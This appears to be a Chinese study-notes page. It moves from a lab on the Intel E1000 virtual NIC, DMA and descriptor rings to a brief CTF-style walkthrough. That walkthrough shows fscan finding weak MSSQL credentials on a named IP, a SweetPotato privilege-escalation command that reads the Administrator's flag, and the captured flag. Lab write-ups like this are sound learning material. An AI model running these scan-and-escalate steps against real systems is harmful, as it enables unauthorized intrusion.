lab net
Intel E1000 是一种虚拟网卡,而不是通常使用的实体网卡。但是在虚拟环境中被广泛应用于 VMware ESXi、VirtualBox 等虚拟化平台中,它支持大多数操作系统。
在虚拟化环境中模拟Intel 82545EM Gigabit Ethernet NIC的行为和性能。
E1000
结构
常用的寄存器
DMA
E1000 用到楽 DMA 技术,(E1000 作为一个外围设备)可以直接从内存中取数据而不需要经过 CPU。
DMA技术通常用于高速数据传输场景,如硬盘驱动器、声卡、网络卡等设备的数据传输。例如,在硬盘读写数据时,DMA控制器可以直接控制数据在硬盘和内存之间的传输,而不需要CPU介入,只有在传输开始和结束时,CPU才会收到中断请求,处理相应的开始和结束事务,这样就大大提高了数据传输的效率。
Intel 82545 EM Gigabit Ethernet NIC 使用描述符(Descriptors)和描述符环(Descriptor Rings)来管理网络数据的发送和接收。描述符是一种数据结构,记录了内存中缓冲区的位置和状态信息,使得网络接口卡(NIC)能够高效地访问和处理网络数据包。
描述符的结构和格式
对于发送(Transmit)和接收(Receive)操作,Intel 82545 EM 使用不同的描述符格式。以下是这两种操作的描述符格式的简要概述。
描述符环是一系列描述符的集合,它们在内存中形成一个循环结构。
FUSE
TSclient
fscan 弱密码
start vulscan
[*] WebTitle http://121.89.219.83 code:200 len:703 title:IIS Windows Server
[*] NetInfo
[*]121.89.219.83
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:6e:17e:86a6:24ac
[+] mssql 121.89.219.83:1433:sa 1qaz!QAZ
已完成 4/4
[*] 扫描结束,耗时: 8.1414582s
SweetPotato 提权
shell -c '-c 'C:\迅雷下载\SweetPotato.exe -a "type C:\Users\Administrator\flag\flag01.txt''
_________ ________ ________ ___ ___ _______ ________ _________
|\___ ___\\ ____\|\ ____\|\ \ |\ \|\ ___ \ |\ ___ \|\___ ___\
\|___ \ \_\ \ \___|\ \ \___|\ \ \ \ \ \ \ __/|\ \ \\ \ \|___ \ \_|
\ \ \ \ \_____ \ \ \ \ \ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \
\ \ \ \|____|\ \ \ \____\ \ \____\ \ \ \ \_|\ \ \ \\ \ \ \ \ \
\ \__\ ____\_\ \ \_______\ \_______\ \__\ \_______\ \__\\ \__\ \ \__\
\|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__| \|__|
\|_________|
Getting flag01 is easy, right?
flag01: flag{c3f82496-1d74-478e-b80d-a0a6b2da9013}